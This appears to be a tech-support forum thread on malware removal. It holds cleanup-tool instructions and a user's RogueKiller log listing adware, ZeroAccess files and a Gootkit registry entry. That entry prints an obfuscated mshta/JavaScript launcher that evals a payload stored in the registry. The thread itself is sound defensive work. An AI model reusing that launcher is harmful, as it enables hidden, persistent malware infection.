    NOTE. If you already have MBAM 2.0 installed scroll down.
    • Double-click mbam-setup-2.0.0.1000.exe and follow the prompts to install the program.
    • At the end, be sure a checkmark is placed next to the following:
    • Launch Malwarebytes Anti-Malware
    • A 14 day trial of the Premium features is pre-selected. You may deselect this if you wish, and it will not diminish the scanning and removal capabilities of the program.
    • Click Finish.
    • On the Dashboard, click the 'Update Now >>' link
    • After the update completes, click the 'Scan Now >>' button.
    • Or, on the Dashboard, click the Scan Now >> button.
    • If an update is available, click the Update Now button.
    • A Threat Scan will begin.
    • When the scan is complete, if there have been detections, click Apply Actions to allow MBAM to clean what was detected.
    • In most cases, a restart will be required.
    • Wait for the prompt to restart the computer to appear, then click on Yes.
    If you already have MBAM 2.0 installed:
    • On the Dashboard, click the 'Update Now >>' link
    • After the update completes, click the 'Scan Now >>' button.
    • Or, on the Dashboard, click the Scan Now >> button.
    • If an update is available, click the Update Now button.
    • A Threat Scan will begin.
    • When the scan is complete, if there have been detections, click Apply Actions to allow MBAM to clean what was detected.
    • In most cases, a restart will be required.
    • Wait for the prompt to restart the computer to appear, then click on Yes.
    How to get logs:
    (Export log to save as txt)
    • After the restart once you are back at your desktop, open MBAM once more.
    • Click on the History tab > Application Logs.
    • Double click on the Scan Log which shows the Date and time of the scan just performed.
    • Click 'Export'.
    • Click 'Text file (*.txt)'
    • In the Save File dialog box which appears, click on Desktop.
    • In the File name: box type a name for your scan log.
    • A message box named 'File Saved' should appear stating "Your file has been successfully exported".
    • Click Ok
    • Attach that saved log to your next reply.
    (Copy to clipboard for pasting into forum replies or tickets)
    • After the restart once you are back at your desktop, open MBAM once more.
    • Click on the History tab > Application Logs.
    • Double click on the Scan Log which shows the Date and time of the scan just performed.
    • Click 'Copy to Clipboard'
    • Paste the contents of the clipboard into your reply.
    [​IMG] Please download AdwCleaner by Xplode onto your desktop.
    • Close all open programs and internet browsers.
    • Double click on adwcleaner.exe to run the tool.
    • Click on Scan button.
    • When the scan has finished click on Clean button.
    • Your computer will be rebooted automatically. A text file will open after the restart.
    • Please post the contents of that logfile with your next reply.
    • You can find the logfile at C:\AdwCleaner[S1].txt as well.
    [​IMG] Please download Junkware Removal Tool to your desktop.
    • Shut down your protection software now to avoid potential conflicts.
    • Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".
    • The tool will open and start scanning your system.
    • Please be patient as this can take a while to complete depending on your system's specifications.
    • On completion, a log (JRT.txt) is saved to your desktop and will automatically open.
    • Post the contents of JRT.txt into your next message.
     
  6. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    I've never intentionally disabled system restore. I'm not sure how it was disabled. Should I enable it? If so how would I do that?

    I'm was stuck at the first step for the past day. I had Roguekiller downloaded and I open it and the initial scan took hours. I tried it twice and both times it took 5-7 hours to get to the point where I could start the scan. It seemed like it was an issue with AVG interrupting the scan and I was going to ask you if I should temporarily disable my AVG protection because even though it wasn't the time of day for the scheduled scan, it kept popping up with reports of threats and eventually roguekiller would just close without finishing the scan. Since I was also getting a pop up this morning that Roguekiller was out of date, I decided I would try with the newest version before replying. I downloaded it but I couldn't open my downloads folder to move it to my desktop and run it. No folders would open so I decided to reboot and then I was able to open the folder and run the newest version and it went amazingly fast. Here is my log from RogueKiller.

    RogueKiller V10.11.6.0 [Nov 16 2015] (Free) by Adlice Software

    mail : http://www.adlice.com/contact/

    Feedback : http://forum.adlice.com

    Website : http://www.adlice.com/software/roguekiller/

    Blog : http://www.adlice.com


    Operating System : Windows XP (5.1.2600 Service Pack 3) 32 bits version

    Started in : Normal mode

    User : Geny [Administrator]

    Started from : C:\Documents and Settings\Geny\Desktop\RogueKiller (3).exe

    Mode : Delete -- Date : 11/16/2015 20:24:12


    ¤¤¤ Processes : 0 ¤¤¤


    ¤¤¤ Registry : 17 ¤¤¤

    [PUP] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0} (C:\Program Files\AVG\AVG2012\avgssie.dll) -> Not selected

    [PUP] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{7b13ec3e-999a-4b70-b9cb-2617b8323822} (C:\Program Files\Zynga\prxtbZyn0.dll) -> Not selected

    [PUP] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Toolbar | {21FA44EF-376D-4D53-9B0F-8A89D3229068} : (C:\Program Files\Windows Live\Toolbar\wltcore.dll) -> Not selected

    [PUP] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Toolbar | {7b13ec3e-999a-4b70-b9cb-2617b8323822} : Zynga Toolbar (C:\Program Files\Zynga\prxtbZyn0.dll) -> Not selected

    [PUP] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser | {21FA44EF-376D-4D53-9B0F-8A89D3229068} : (C:\Program Files\Windows Live\Toolbar\wltcore.dll) -> Not selected

    [PUP] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser | {7B13EC3E-999A-4B70-B9CB-2617B8323822} : (C:\Program Files\Zynga\prxtbZyn0.dll) -> Not selected

    [PUP] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\SOFTWARE\Microsoft\Internet Explorer\URLSearchHooks | {7b13ec3e-999a-4b70-b9cb-2617b8323822} : (C:\Program Files\Zynga\prxtbZyn0.dll) -> Not selected

    [Suspicious.Path] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Run | {F9D772C4-AD01-40E2-BACC-F7300FE9592E} : regsvr32.exe "C:\Documents and Settings\Geny\Application Data\Quyitv\CofeDxun.dll" [7][x] -> Not selected

    [Tr.Gootkit] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run | 27da8125 : mshta javascript:ZXCBOya0="kcWtjWWr7";S2a1=new%20ActiveXObject("WScript.Shell");kmdIO6x7e="3P3p1lzn";cue5X8=S2a1.RegRead("HKLM\\software\\056439a146\\8c68058d");XfgI4iLgH="vPeg49";eval(cue5X8);LJ9JHh7me="VRyq6"; [x][x] -> Deleted

    [PUM.HomePage] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Internet Explorer\Main | Start Page : http://www.facebook.com/ -> Not selected

    [PUM.Desktop] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore | DisableSR : 1 -> Not selected

    [PUM.SecurityCenter] HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center | AntiVirusDisableNotify : 1 -> Not selected

    [PUM.SecurityCenter] HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center | FirewallDisableNotify : 1 -> Not selected

    [PUM.SecurityCenter] HKEY_LOCAL_MACHINE\Software\Microsoft\Security Center | UpdatesDisableNotify : 1 -> Not selected

    [PUM.StartMenu] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | Start_ShowHelp : 0 -> Not selected

    [PUM.StartMenu] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | Start_ShowSetProgramAccessAndDefaults : 0 -> Not selected

    [PUM.StartMenu] HKEY_USERS\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | Start_ShowRecentDocs : 2 -> Not selected


    ¤¤¤ Tasks : 0 ¤¤¤


    ¤¤¤ Files : 270 ¤¤¤

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2079403$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2079403$\msxml3.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2079403$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2079403$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2079403$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2079403$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2079403$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2115168$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2115168$\l3codecx.ax -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2115168$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2115168$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2115168$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2115168$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2115168$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2121546$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2121546$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2121546$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2121546$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2121546$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2121546$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2121546$\winsrv.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2141007$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2141007$\inetcomm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2141007$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2141007$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2141007$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2141007$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2141007$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2158563$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2158563$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2158563$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2160329$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2160329$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2160329$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2160329$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2160329$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2160329$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2160329$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2229593$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2229593$\helpsvc.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2229593$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2229593$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2229593$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2229593$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2229593$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2259922$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2259922$\mswrd8.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2259922$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2259922$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2259922$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2259922$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2259922$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2279986$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2279986$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2279986$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2279986$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2279986$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2279986$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2279986$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2286198$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2286198$\shell32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2286198$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2286198$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2286198$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2286198$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2286198$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2296011$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296011$\comctl32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296011$\spuninst\KB2296011.asms -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296011$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296011$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296011$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296011$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2296011$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2296199$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296199$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296199$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296199$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296199$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2296199$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2296199$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2345886$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2345886$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\srv.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\srvsvc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2345886$\xpsp4res.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2347290$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2347290$\spoolsv.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2347290$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2347290$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2347290$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2347290$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2347290$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2360937$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\rpcrt4.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2360937$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2360937$\xpsp4res.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2378111_WM9$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2378111_WM9$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2378111_WM9$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2378111_WM9$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2378111_WM9$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2378111_WM9$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2378111_WM9$\wmp.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2387149$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\mfc40.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\mfc40u.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\mfc42.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\mfc42u.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2387149$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2387149$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2393802$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntdll.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2393802$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2393802$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2412687$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2412687$\spuninst\KB2412687.asms -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2412687$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2412687$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2412687$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2412687$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2412687$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2419632$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msadco.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msado15.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msado20.tlb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msado21.tlb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msado25.tlb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msado26.tlb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msado27.tlb -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msadomd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msadox.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\msjro.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\odbc32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2419632$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2419632$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2423089$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2423089$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2423089$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2423089$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2423089$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2423089$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2423089$\wab.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2436673$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2436673$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2436673$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2436673$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2436673$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2436673$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2436673$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2440591$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2440591$\ndproxy.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2440591$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2440591$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2440591$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2440591$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2440591$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2443105$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443105$\isign32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443105$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443105$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443105$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443105$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2443105$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2443685$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2443685$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2443685$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2447961_WM9L$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\wmdevctl.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\wmenc.exe -> Deleted

